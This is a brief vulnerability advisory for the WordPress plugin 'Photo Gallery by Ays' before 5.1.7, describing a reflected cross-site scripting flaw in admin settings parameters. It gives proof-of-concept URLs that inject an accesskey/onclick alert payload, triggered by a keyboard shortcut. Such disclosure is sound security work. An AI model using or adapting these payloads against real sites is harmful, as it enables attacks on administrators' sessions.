Photo Gallery by Ays < 5.1.7 - Reflected XSS

The plugin does not escape some parameters before outputting it back in attributes, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin

PoC

Make a logged in admin open one of the URLs below v < 5.1.7 - https://example.com/wp-admin/admin.php?page=gallery-photo-gallery-settings&amp;ays;_gpg_tab=" accesskey=X onclick=alert(/XSS/)// v < 5.1.6 - https://example.com/wp-admin/admin.php?page=gallery-photo-gallery&amp;action;=edit&amp;gallery;=1&amp;ays;_gpg_settings_tab=" accesskey=X onclick=alert(/XSS/)// The XSS will be triggered when pressing ALT+SHIFT+X on Windows and CTRL+ALT+X on OS X